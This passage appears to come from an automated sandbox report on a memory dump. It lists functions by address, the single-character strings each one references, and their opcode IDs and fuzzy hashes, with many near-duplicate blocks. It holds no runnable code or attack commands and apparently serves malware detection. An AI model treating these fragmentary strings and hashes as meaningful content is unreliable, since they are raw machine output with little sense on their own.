@@@@, xrefs: 504895D9
@@@@, xrefs: 504895E0
@@@@, xrefs: 504895D2
@@@@, xrefs: 50489603
@@@@, xrefs: 5048960A
@@@@, xrefs: 50489650
@@@@, xrefs: 50489673
@@@@, xrefs: 50489665
@@@@, xrefs: 5048963B
@@@@, xrefs: 5048962D
@@@@, xrefs: 50489626
)*+,, xrefs: 50489587
@@@@, xrefs: 50489618
@@@@, xrefs: 504895B6
@@@@, xrefs: 50489657
@@@@, xrefs: 50489681
@@@@, xrefs: 504895FC
@@@@, xrefs: 504895CB
@@@@, xrefs: 5048967A
@@@@, xrefs: 50489634
@@@@, xrefs: 50489611
@@@@, xrefs: 50489649
@@@@, xrefs: 50489688
@@@@, xrefs: 504895AF
@@@@, xrefs: 5048966C
@@@@@@@@, xrefs: 5048969F
@@@@, xrefs: 504895F5
@@@@, xrefs: 504895BD
123@, xrefs: 5048959B
@@@@, xrefs: 5048961F
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@, xrefs: 504896D3
!"#$, xrefs: 50489573
@@@@, xrefs: 504895A5
%&'(, xrefs: 5048957D
-./0, xrefs: 50489591
@@@@, xrefs: 504895C4
@@@@, xrefs: 5048965E
@@@@, xrefs: 50489555

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
API String ID: 0-3248090998
Opcode ID: 84dcd98baecf748b7ac6f0b725b62f332d0dc6db0e6d9c65bad2f68fbe79b494
Instruction ID: 72ce695b6db6dbeeb2e92690cd02e283a63e13618cfa2be84553f54092fb4ea7
Opcode Fuzzy Hash: 84dcd98baecf748b7ac6f0b725b62f332d0dc6db0e6d9c65bad2f68fbe79b494
Instruction Fuzzy Hash: 019110F08052A88ECB118F55A4603DFBF71BB95204F1585E9C6AA7B203C3BE4E85DF90

Uniqueness

Uniqueness Score: -1.00%

Function 50489460, Relevance: 51.4, Strings: 41, Instructions: 166COMMON

Download Yara Rule

Strings

@@@@, xrefs: 50489642
@@@@, xrefs: 504895E7
@@@@, xrefs: 504895EE
@@@@, xrefs: 504895D9
@@@@, xrefs: 504895E0
@@@@, xrefs: 504895D2
@@@@, xrefs: 50489603
@@@@, xrefs: 5048960A
@@@@, xrefs: 50489650
@@@@, xrefs: 50489673
@@@@, xrefs: 50489665
@@@@, xrefs: 5048963B
@@@@, xrefs: 5048962D
@@@@, xrefs: 50489626
)*+,, xrefs: 50489587
@@@@, xrefs: 50489618
@@@@, xrefs: 504895B6
@@@@, xrefs: 50489657
@@@@, xrefs: 50489681
@@@@, xrefs: 504895FC
@@@@, xrefs: 504895CB
@@@@, xrefs: 5048967A
@@@@, xrefs: 50489634
@@@@, xrefs: 50489611
@@@@, xrefs: 50489649
@@@@, xrefs: 50489688
@@@@, xrefs: 504895AF
@@@@, xrefs: 5048966C
@@@@@@@@, xrefs: 5048969F
@@@@, xrefs: 504895F5
@@@@, xrefs: 504895BD
123@, xrefs: 5048959B
@@@@, xrefs: 5048961F
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@, xrefs: 504896D3
!"#$, xrefs: 50489573
@@@@, xrefs: 504895A5
%&'(, xrefs: 5048957D
-./0, xrefs: 50489591
@@@@, xrefs: 504895C4
@@@@, xrefs: 5048965E
@@@@, xrefs: 50489555

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: !"#$$%&'($)*+,$-./0$123@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@$@@@@@@@@$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>@@@?456789:;<=@@@@@@@
API String ID: 0-3248090998
Opcode ID: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
Instruction ID: f00e4ca283c8cea904b83a708a1a97caef2382556f971071ab617cb014f57229
Opcode Fuzzy Hash: 88d2f9759e5af378ae688ea4fd5311552ce04c6e866e263db9e13d76fe42414d
Instruction Fuzzy Hash: A0911EF08042A88ACB118F55A4603DFBF71BB95204F1585E9C6AA7B203C3BE4E85DF90

Uniqueness

Uniqueness Score: -1.00%

Function 504851E0, Relevance: 42.7, Strings: 34, Instructions: 232COMMON

Download Yara Rule

Strings

e, xrefs: 50485235
\, xrefs: 5048520E
N, xrefs: 5048525F
s, xrefs: 504852C2
u, xrefs: 50485290
\, xrefs: 5048523C
k:HP, xrefs: 504851EA, 504851ED, 5048532A, 50485349, 5048536B, 5048539F, 504853BE, 504853E0, 50485414, 50485433, 50485453, 50485495, 504854BB, 50485533, 50485539
., xrefs: 50485220
\, xrefs: 50485286
, xrefs: 504852AE
k, xrefs: 50485274
e, xrefs: 50485251
i, xrefs: 504852D7
o, xrefs: 504852C9
e, xrefs: 504852B8
i, xrefs: 5048522E
i, xrefs: 504852FA
n, xrefs: 504852A4
o, xrefs: 50485215
e, xrefs: 5048527B
r, xrefs: 504852DE
\, xrefs: 504852F3
t, xrefs: 50485266
q, xrefs: 50485227
r, xrefs: 5048529A
k, xrefs: 5048524A
o, xrefs: 50485243
s, xrefs: 504852E5
o, xrefs: 5048526D
\, xrefs: 504852D0
w, xrefs: 50485308
f, xrefs: 504852EC
\, xrefs: 50485258
d, xrefs: 50485301

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$N$\$\$\$\$\$\$d$e$e$e$e$f$i$i$i$k$k$k:HP$n$o$o$o$o$q$r$r$s$s$t$u$w
API String ID: 0-2954518199
Opcode ID: ad0ca6ab25119bc4808257f1b4f4b1a79a1864167b5248d3c821102d7b5060f4
Instruction ID: 3ea125b32b24d6810bd676b4dc810a02382b2b54f83c2fcb86f6d865727acb5b
Opcode Fuzzy Hash: ad0ca6ab25119bc4808257f1b4f4b1a79a1864167b5248d3c821102d7b5060f4
Instruction Fuzzy Hash: 87916EB1911218AADB10DFD4CC45FEFBB79AF55704F00466DA2086B140EBB95A88CBF9

Uniqueness

Uniqueness Score: -1.00%

Function 50483D70, Relevance: 34.1, Strings: 27, Instructions: 368COMMON

Download Yara Rule

Strings

u, xrefs: 50483F50
e, xrefs: 50483FA7
XLNG:, xrefs: 50483E8A, 50483E8D
i, xrefs: 504841D6
s, xrefs: 50483FBC
, xrefs: 50483F8B
r, xrefs: 50483FA0
P, xrefs: 504841AE
t, xrefs: 50483F5A
x64, xrefs: 504840E9, 504840EC
o, xrefs: 504841B8
1, xrefs: 50483E13
o, xrefs: 50483F46
T, xrefs: 50483F92
e, xrefs: 504841E0
:, xrefs: 50483E00
x86, xrefs: 504840EF, 504840F2
e, xrefs: 50483FB5
a, xrefs: 50483F64
e, xrefs: 50483F6E
t, xrefs: 50483FAE
r, xrefs: 504841C2
P, xrefs: 50483F3C
2.5, xrefs: 50483ECB, 50483ECE
o, xrefs: 50483FC3
m, xrefs: 504841CC
C, xrefs: 50483F99

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $ x64$ x86$1$2.5$:$C$P$P$T$XLNG:$a$e$e$e$e$i$m$o$o$o$r$r$s$t$t$u
API String ID: 0-1309863547
Opcode ID: b518fcd513a6cf3441f525c1b7b10d71f2833d1ede5a2ed970272376a6518b91
Instruction ID: eea8c313e6d706c99a925ddac0c602bcc1da9627ce72497a2ab1b23fcf9404b8
Opcode Fuzzy Hash: b518fcd513a6cf3441f525c1b7b10d71f2833d1ede5a2ed970272376a6518b91
Instruction Fuzzy Hash: 3CE186B1901309AEDB14CFA4CC46FEEB7B8AF54308F00466EF50DA6141EBB56A54CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 50484C20, Relevance: 31.4, Strings: 25, Instructions: 194COMMON

Download Yara Rule

Strings

e, xrefs: 50484D7E
2, xrefs: 50484D18
", xrefs: 50484E3B
m, xrefs: 50484D11
\, xrefs: 50484CFC
, xrefs: 50484CE0
\, xrefs: 50484D1F
y, xrefs: 50484D03
EQHP, xrefs: 50484CD4, 50484CE7, 50484CD7
u, xrefs: 50484D4C
W, xrefs: 50484D2D
i, xrefs: 50484CF5
t, xrefs: 50484D0A
", xrefs: 50484E45
D, xrefs: 50484F01
d, xrefs: 50484D56
\, xrefs: 50484D42
n, xrefs: 50484CEE
", xrefs: 50484CD9
4, xrefs: 50484D3B
e, xrefs: 50484D74
W, xrefs: 50484D34
y, xrefs: 50484D26
2, xrefs: 50484D6A
l, xrefs: 50484D60

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $"$"$"$2$2$4$D$EQHP$W$W$\$\$\$d$e$e$i$l$m$n$t$u$y$y
API String ID: 0-2404262091
Opcode ID: fa008d316ab8b0415d87ce152877c8ae0144694dfb1b46bd9aeeb425ffc17c03
Instruction ID: da28db47672f255a1f057f896851c529203b53ff73540a75ef2fec2762f817cf
Opcode Fuzzy Hash: fa008d316ab8b0415d87ce152877c8ae0144694dfb1b46bd9aeeb425ffc17c03
Instruction Fuzzy Hash: C68120B5D10318AEDB54CFA4CC45BDEBBB9AF54304F00469EA60DB7141EBB45A88CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 50491A40, Relevance: 25.2, Strings: 20, Instructions: 231COMMON

Download Yara Rule

Strings

o, xrefs: 50491B27
r, xrefs: 50491B43
t, xrefs: 50491B12
t, xrefs: 50491AD0
m, xrefs: 50491B2E
r, xrefs: 50491ADA
e, xrefs: 50491AE1
l, xrefs: 50491AF6
, xrefs: 50491AE8
g, xrefs: 50491B4A
\, xrefs: 50491B35
2, xrefs: 50491B51
i, xrefs: 50491B20
I, xrefs: 50491AC6
I, xrefs: 50491B0B
x, xrefs: 50491AEF
t, xrefs: 50491B3C
r, xrefs: 50491AFD
l, xrefs: 50491B19
r, xrefs: 50491B04

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
API String ID: 0-3236418099
Opcode ID: 36d5dfbde9de43d38d02b0ea5685d495131fac1563012c93f262481b1f57e59b
Instruction ID: 7a0b765a92b98b24597997d2bc0aeb96ef180319125e33ddab57c7511decabe0
Opcode Fuzzy Hash: 36d5dfbde9de43d38d02b0ea5685d495131fac1563012c93f262481b1f57e59b
Instruction Fuzzy Hash: AA8192B1901218AAEB10CF94DC45FEE7BBDEF54308F0046ADE90CA6150EB795A85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 50491D80, Relevance: 25.1, Strings: 20, Instructions: 64COMMON

Download Yara Rule

Strings

S, xrefs: 50491DF1
a, xrefs: 50491DF8
t, xrefs: 50491DC7
l, xrefs: 50491DFF
o, xrefs: 50491DC0
p, xrefs: 50491DAB
o, xrefs: 50491E0D
a, xrefs: 50491E29
\, xrefs: 50491DA4
e, xrefs: 50491DE3
a, xrefs: 50491DCE
, xrefs: 50491DB9
, xrefs: 50491E1B
a, xrefs: 50491E22
O, xrefs: 50491DDC
i, xrefs: 50491E14
a, xrefs: 50491DEA
\, xrefs: 50491E06
e, xrefs: 50491DD5
r, xrefs: 50491DB2

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $ $O$S$\$\$a$a$a$a$a$e$e$i$l$o$o$p$r$t
API String ID: 0-815130641
Opcode ID: 5fb2ce75e0e914f20779b06ab5182a01e70aca568ef667b59ce5942777ca2fc4
Instruction ID: 7dc4ef7f07c4bbb55b6576d0200d15b68e3f2225cc02d47e81d643bfde2ceccb
Opcode Fuzzy Hash: 5fb2ce75e0e914f20779b06ab5182a01e70aca568ef667b59ce5942777ca2fc4
Instruction Fuzzy Hash: C1213171D013189AEB109FC5A8497EDBFBAAB40718F14421DE5042B282D7FA55888BA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048FBB0, Relevance: 24.1, Strings: 19, Instructions: 306COMMON

Download Yara Rule

Strings

\, xrefs: 5048FCE5
r, xrefs: 5048FCEC
F, xrefs: 5048FC8D
i, xrefs: 5048FD08
a, xrefs: 5048FCFA
C, xrefs: 5048FC1B
E, xrefs: 5048FC65
g, xrefs: 5048FCF3
e, xrefs: 5048FD0F
, xrefs: 5048FD01
D, xrefs: 5048FC40
G, xrefs: 5048FCB2
x, xrefs: 5048FD6A
R, xrefs: 5048FD71
c, xrefs: 5048FD78
r, xrefs: 5048FD86
), xrefs: 5048FEAD
v, xrefs: 5048FD7F
F, xrefs: 5048FD63

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $)$C$D$E$F$F$G$R$\$a$c$e$g$i$r$r$v$x
API String ID: 0-401266261
Opcode ID: 6d1457d1cd07abf8b28d9f16b94711a816d7823c57be0401063ac0e1a1bef35f
Instruction ID: 6b20395bcbde74baede93883350e49595ba6217c5913237545285a644fb87c24
Opcode Fuzzy Hash: 6d1457d1cd07abf8b28d9f16b94711a816d7823c57be0401063ac0e1a1bef35f
Instruction Fuzzy Hash: A6C182B1D11218AAEB25CFD4CC42FEE77B8AF58704F0045AEF50DA6181EBB45B448FA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048E9B0, Relevance: 24.0, Strings: 19, Instructions: 254COMMON

Download Yara Rule

Strings

I, xrefs: 5048EA53
o, xrefs: 5048EA99
l, xrefs: 5048EA71
o, xrefs: 5048EA32
a, xrefs: 5048E9E8
t, xrefs: 5048EA14
\, xrefs: 5048E9E1
n, xrefs: 5048E9EF
D, xrefs: 5048EA7B
r, xrefs: 5048EA00
c, xrefs: 5048EA8F
r, xrefs: 5048EA85
s, xrefs: 5048EA5D
s, xrefs: 5048EA28
y, xrefs: 5048EAA3
a, xrefs: 5048EA67
C, xrefs: 5048E9F6
e, xrefs: 5048EA1E
e, xrefs: 5048EA0A

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: C$D$I$\$a$a$c$e$e$l$n$o$o$r$r$s$s$t$y
API String ID: 0-2101568155
Opcode ID: 18cca2af51741537374f11085230978beefadeeb6da7a0f0ff0e456b9e92b555
Instruction ID: 37074cfd21844cf96305c3babea2e1d658f8d7b13feeda9d886c0a0635ae0c11
Opcode Fuzzy Hash: 18cca2af51741537374f11085230978beefadeeb6da7a0f0ff0e456b9e92b555
Instruction Fuzzy Hash: 5991B6B1D01208ABEB10CF95CC85FEE77B9EF45704F0046ADF9089A241E7B99A55CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 5048FBA5, Relevance: 24.0, Strings: 19, Instructions: 217COMMON

Download Yara Rule

Strings

\, xrefs: 5048FCE5
r, xrefs: 5048FCEC
F, xrefs: 5048FC8D
i, xrefs: 5048FD08
a, xrefs: 5048FCFA
C, xrefs: 5048FC1B
E, xrefs: 5048FC65
g, xrefs: 5048FCF3
e, xrefs: 5048FD0F
, xrefs: 5048FD01
D, xrefs: 5048FC40
G, xrefs: 5048FCB2
x, xrefs: 5048FD6A
R, xrefs: 5048FD71
c, xrefs: 5048FD78
r, xrefs: 5048FD86
), xrefs: 5048FEAD
v, xrefs: 5048FD7F
F, xrefs: 5048FD63

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $)$C$D$E$F$F$G$R$\$a$c$e$g$i$r$r$v$x
API String ID: 0-401266261
Opcode ID: 1d82646a0ad9bd284c2055b5e940336c64932e10fce634cc5c05a95804388723
Instruction ID: 5e671c824bdaa13d4c81506cfc8fd39a66f9a3368efb536084e5c767cb5a2b04
Opcode Fuzzy Hash: 1d82646a0ad9bd284c2055b5e940336c64932e10fce634cc5c05a95804388723
Instruction Fuzzy Hash: 2F8150B1D11318AAEB24CFE0CC46FEEB7B8EF18704F00469EE50DA6181E7B55A448F95

Uniqueness

Uniqueness Score: -1.00%

Function 504926B0, Relevance: 23.9, Strings: 19, Instructions: 146COMMON

Download Yara Rule

Strings

u, xrefs: 50492714
o, xrefs: 504927A1
c, xrefs: 504927B6
r, xrefs: 504927C4
R, xrefs: 504927AF
t, xrefs: 5049279A
r, xrefs: 504926CD
_, xrefs: 50492700
I, xrefs: 50492742
., xrefs: 504926D4
n, xrefs: 504926DB
t, xrefs: 5049271E
l, xrefs: 50492756
O, xrefs: 50492793
x, xrefs: 5049274C
r, xrefs: 50492760
V, xrefs: 5049270A
v, xrefs: 504927BD
k, xrefs: 504927A8

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$I$O$R$V$_$c$k$l$n$o$r$r$r$t$t$u$v$x
API String ID: 0-784799069
Opcode ID: fc96f75d1684bd32bb5f27dff36ffc28f63698ae5b6d7195db8a55d0fb66480a
Instruction ID: 1493250bcf8c0d2edc5606ddd9b298934e595746e9e5436fea4f609465332e72
Opcode Fuzzy Hash: fc96f75d1684bd32bb5f27dff36ffc28f63698ae5b6d7195db8a55d0fb66480a
Instruction Fuzzy Hash: 6A510DB1D0021CAFDB10DFA4CC45BEEBBB5FF45304F00466EE508AB241E7B95A598BA1

Uniqueness

Uniqueness Score: -1.00%

Function 504926A9, Relevance: 23.9, Strings: 19, Instructions: 126COMMON

Download Yara Rule

Strings

u, xrefs: 50492714
o, xrefs: 504927A1
c, xrefs: 504927B6
r, xrefs: 504927C4
R, xrefs: 504927AF
t, xrefs: 5049279A
r, xrefs: 504926CD
_, xrefs: 50492700
I, xrefs: 50492742
., xrefs: 504926D4
n, xrefs: 504926DB
t, xrefs: 5049271E
l, xrefs: 50492756
O, xrefs: 50492793
x, xrefs: 5049274C
r, xrefs: 50492760
V, xrefs: 5049270A
v, xrefs: 504927BD
k, xrefs: 504927A8

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$I$O$R$V$_$c$k$l$n$o$r$r$r$t$t$u$v$x
API String ID: 0-784799069
Opcode ID: edeb5f7c3b49e39e5a6979d196dca34e983b377160e28fbc741db2304e28754f
Instruction ID: 9f6b85e8912d59d0e6bb86159535db5b71e8473f5607e91e002f10270b32072a
Opcode Fuzzy Hash: edeb5f7c3b49e39e5a6979d196dca34e983b377160e28fbc741db2304e28754f
Instruction Fuzzy Hash: 865111B1D0021C9FDB10DFA4C845BEEBBB5BF45304F00466EE508AB241E7B95A598FA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048BE70, Relevance: 21.5, Strings: 17, Instructions: 219COMMON

Download Yara Rule

Strings

-, xrefs: 5048C014
e, xrefs: 5048C01B
[, xrefs: 5048C00D
l, xrefs: 5048BF98
], xrefs: 5048BF9F
s, xrefs: 5048BF71
], xrefs: 5048C022
], xrefs: 5048BF78
e, xrefs: 5048BFED
[, xrefs: 5048BFDF
[, xrefs: 5048BF91
[, xrefs: 5048BF6A
], xrefs: 5048BFC6
a, xrefs: 5048BFBF
[, xrefs: 5048BFB8
], xrefs: 5048BFF4
n, xrefs: 5048BFE6

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: -$[$[$[$[$[$]$]$]$]$]$a$e$e$l$n$s
API String ID: 0-2169243036
Opcode ID: 6decbe08275f90031451a261a0d6f5733d76dd77430271b5a6b60b403aae2440
Instruction ID: a0ffc1b7b06ce26bfdfbd6eb651699185a7fc822dd1d6b67ecf6fa74dc8a8cfa
Opcode Fuzzy Hash: 6decbe08275f90031451a261a0d6f5733d76dd77430271b5a6b60b403aae2440
Instruction Fuzzy Hash: DF7167B0901704BAEB209FE4CC46FEFBABD9F55B09F004A1EF61566180D7B879448BE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048DAF0, Relevance: 16.4, Strings: 13, Instructions: 173COMMON

Download Yara Rule

Strings

P, xrefs: 5048DB7F
o, xrefs: 5048DB86
x, xrefs: 5048DB2B
i, xrefs: 5048DB51
s, xrefs: 5048DBA9
., xrefs: 5048DB21
r, xrefs: 5048DB8D
m, xrefs: 5048DB94
o, xrefs: 5048DB5F
l, xrefs: 5048DBA2
F, xrefs: 5048DB9B
e, xrefs: 5048DB58
, xrefs: 5048DB4A

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 6363c05ccb15e9785eff4192277c04ef314e32791195a3bd049bd6b745bd472d
Instruction ID: d0102f1a50cc7f69be51a74db763dde8ee20676e880c5f9f87e9af1d131e87ed
Opcode Fuzzy Hash: 6363c05ccb15e9785eff4192277c04ef314e32791195a3bd049bd6b745bd472d
Instruction Fuzzy Hash: 066150B1D01218AAEB20DFE4CC85FEE7BB9BF58704F04466EE509A6180E7745A448BE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048DAEB, Relevance: 16.4, Strings: 13, Instructions: 158COMMON

Download Yara Rule

Strings

P, xrefs: 5048DB7F
o, xrefs: 5048DB86
x, xrefs: 5048DB2B
i, xrefs: 5048DB51
s, xrefs: 5048DBA9
., xrefs: 5048DB21
r, xrefs: 5048DB8D
m, xrefs: 5048DB94
o, xrefs: 5048DB5F
l, xrefs: 5048DBA2
F, xrefs: 5048DB9B
e, xrefs: 5048DB58
, xrefs: 5048DB4A

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$F$P$e$i$l$m$o$o$r$s$x
API String ID: 0-392141074
Opcode ID: 93b75fa3336095b6fa60c7b726e520e0ef8873835666473436dc0a0b6737eabd
Instruction ID: 988956820cf41936d8c40e0e2fbea763765fa0aeb9eb174fa0df50aa93b992b7
Opcode Fuzzy Hash: 93b75fa3336095b6fa60c7b726e520e0ef8873835666473436dc0a0b6737eabd
Instruction Fuzzy Hash: 125140B1D01218AAEB20DFE4CC85FEE7BB9BF58704F04466EE509A6180E7745A44CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048ECF0, Relevance: 15.1, Strings: 12, Instructions: 121COMMON

Download Yara Rule

Strings

d, xrefs: 5048ED68
T, xrefs: 5048ED08
r, xrefs: 5048ED2C
f, xrefs: 5048ED33
i, xrefs: 5048ED61
x, xrefs: 5048ED3A
F, xrefs: 5048ED25
u, xrefs: 5048ED4C
d, xrefs: 5048ED53
r, xrefs: 5048ED5A
P, xrefs: 5048ED01
T, xrefs: 5048ED45

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: F$P$T$T$d$d$f$i$r$r$u$x
API String ID: 0-2987356081
Opcode ID: eee7a8d073b545e3b59c1f5b5d8875b4ba75d3718739a31be3dd436282efa26b
Instruction ID: 079c3b200d4e55d12795224a1a5a9d1f78638cd4b2303c39240d9d1253dd90bc
Opcode Fuzzy Hash: eee7a8d073b545e3b59c1f5b5d8875b4ba75d3718739a31be3dd436282efa26b
Instruction Fuzzy Hash: B34173B1C01318AADB20DFD29C45BFFBAB8EF55718F008A1DF9096A141E7B91549CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50484700, Relevance: 15.1, Strings: 12, Instructions: 82COMMON

Download Yara Rule

Strings

\, xrefs: 5048472D
e, xrefs: 50484757
l, xrefs: 5048473B
e, xrefs: 50484750
n, xrefs: 50484794
r, xrefs: 50484749
x, xrefs: 50484734
i, xrefs: 5048479B
r, xrefs: 50484742
w, xrefs: 5048478D
k:HP, xrefs: 50484709
D, xrefs: 50484786

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$k:HP$l$n$r$r$w$x
API String ID: 0-131499723
Opcode ID: 5a3c7fc2d8ca8b2c9afe811c7717f264aa7b5fb2952a41c5860e4fbb283a8866
Instruction ID: 72c1a8abeb05b613afc8168353b46599bf6c49296e9fa8243937cce4441ae149
Opcode Fuzzy Hash: 5a3c7fc2d8ca8b2c9afe811c7717f264aa7b5fb2952a41c5860e4fbb283a8866
Instruction Fuzzy Hash: 112173B1D11218AADF50DFD4CC45BEEBBB9BF08704F00465DF60876180DBB556488BE4

Uniqueness

Uniqueness Score: -1.00%

Function 504846FB, Relevance: 15.1, Strings: 12, Instructions: 81COMMON

Download Yara Rule

Strings

\, xrefs: 5048472D
e, xrefs: 50484757
l, xrefs: 5048473B
e, xrefs: 50484750
n, xrefs: 50484794
r, xrefs: 50484749
x, xrefs: 50484734
i, xrefs: 5048479B
r, xrefs: 50484742
w, xrefs: 5048478D
k:HP, xrefs: 50484709
D, xrefs: 50484786

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$k:HP$l$n$r$r$w$x
API String ID: 0-131499723
Opcode ID: 867be16721b54ea423743a5e08cd48efe68bead6cbcb6edbe857900cbe382d9d
Instruction ID: 7d8cbb94693bfe53589df71040cd25f41c44a33bedba210af413cd75ea20abed
Opcode Fuzzy Hash: 867be16721b54ea423743a5e08cd48efe68bead6cbcb6edbe857900cbe382d9d
Instruction Fuzzy Hash: C52187B1D11218AAEF50CFE4CC45BEEBBB5BF48704F10465DF614BA180DBB55648CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 5048ECED, Relevance: 15.0, Strings: 12, Instructions: 41COMMON

Download Yara Rule

Strings

d, xrefs: 5048ED68
T, xrefs: 5048ED08
r, xrefs: 5048ED2C
f, xrefs: 5048ED33
i, xrefs: 5048ED61
x, xrefs: 5048ED3A
F, xrefs: 5048ED25
u, xrefs: 5048ED4C
d, xrefs: 5048ED53
r, xrefs: 5048ED5A
P, xrefs: 5048ED01
T, xrefs: 5048ED45

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: F$P$T$T$d$d$f$i$r$r$u$x
API String ID: 0-2987356081
Opcode ID: 1561104473096ed268ecc7fb79ea9615d16a4d70933b8e894b47b275df889579
Instruction ID: 162b32e6778d1e6a4890544d3e67eb3c550df39026ef433844436fb3078aca3b
Opcode Fuzzy Hash: 1561104473096ed268ecc7fb79ea9615d16a4d70933b8e894b47b275df889579
Instruction Fuzzy Hash: B2015BB1D00218AAAF10CFE598096DEBEB6BF45758F10825DD9187F250D3BA4A488BA4

Uniqueness

Uniqueness Score: -1.00%

Function 50485EA0, Relevance: 13.9, Strings: 11, Instructions: 124COMMON

Download Yara Rule

Strings

e, xrefs: 50485F45
D, xrefs: 50485F8F
r, xrefs: 50485F3E
e, xrefs: 50485F4C
w, xrefs: 50485F99
x, xrefs: 50485F29
\, xrefs: 50485F22
n, xrefs: 50485FA0
i, xrefs: 50485FA7
r, xrefs: 50485F37
l, xrefs: 50485F30

Memory Dump Source

Source File: 0000001B.00000002.541225227.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: D$\$e$e$i$l$n$r$r$w$x
API String ID: 0-685823316
Opcode ID: 55b3879f10dfee11f081fad7a1d623af802b0fe751f88fb2299f4c66a6b9289f
Instruction ID: 73d85a24ef212e3d8c0a7137a228cda7923fab466f44447c0b094d104ba0dbb9
Opcode Fuzzy Hash: 55b3879f10dfee11f081fad7a1d623af802b0fe751f88fb2299f4c66a6b9289f
Instruction Fuzzy Hash: 22410CB2D0121CAFDB10DFD5DC84AEEBBBDFB49308F40456EE619A6200D7755A448BA1

Uniqueness

Uniqueness Score: -1.00%

Function 50485E94, Relevance: 13.9, Strings: 11, Instructions: 120COMMON

Download Yara Rule

Strings

e, xrefs: 50485F45
D, xrefs: 50485F8F
r, xrefs: 50485F3E
e, xrefs: 50485F4C
w, xrefs: 50485F99
x, xrefs: 50485F29
\, xrefs: 50485F22
n, xrefs: 50485FA0
i, xrefs: 50485FA7
r, xrefs: 50485F37
l, xrefs: 50485F30

